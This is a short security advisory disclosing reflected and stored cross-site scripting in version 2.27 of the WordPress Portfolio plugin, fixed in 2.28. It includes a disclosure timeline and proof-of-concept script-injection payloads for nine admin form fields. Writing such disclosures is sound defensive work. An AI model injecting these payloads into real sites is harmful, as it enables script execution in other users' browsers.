Plugin Name : Portfolio
 
Effected Version : 2.27 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=portfolio.php
 
tag-slug = “><script>alert(1)</script>
prtfl_date_text_field = “><script>alert(2)</script>
prtfl_link_text_field = “><script>alert(3)</script>
prtfl_shrdescription_text_field = “><script>alert(4)</script>
prtfl_description_text_field = “><script>alert(5)</script>
prtfl_svn_text_field = “><script>alert(6)</script>
prtfl_executor_text_field = “><script>alert(7)</script>
prtfl_screenshot_text_field = “><script>alert(8)</script>
prtfl_technologies_text_field = “><script>alert(9)</script>
 
 
Vulnerable Parameter : tag-slug, prtfl_date_text_field, prtfl_link_text_field, prtfl_shrdescription_text_field, prtfl_description_text_field, prtfl_svn_text_field, prtfl_executor_text_field, prtfl_screenshot_text_field, prtfl_technologies_text_field
 
 
Type of XSS : Reflected / Stored
 
Fixed in : 2.28
 
http://wordpress.org/plugins/portfolio/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
With the Portfolio plugin you can create a unique page for displaying portfolio items consisting of screenshots and additional information such as description, short description, URL, date of completion, etc. Moreover you can add not just one, but many screenshots to one portfolio item for better visual guidance.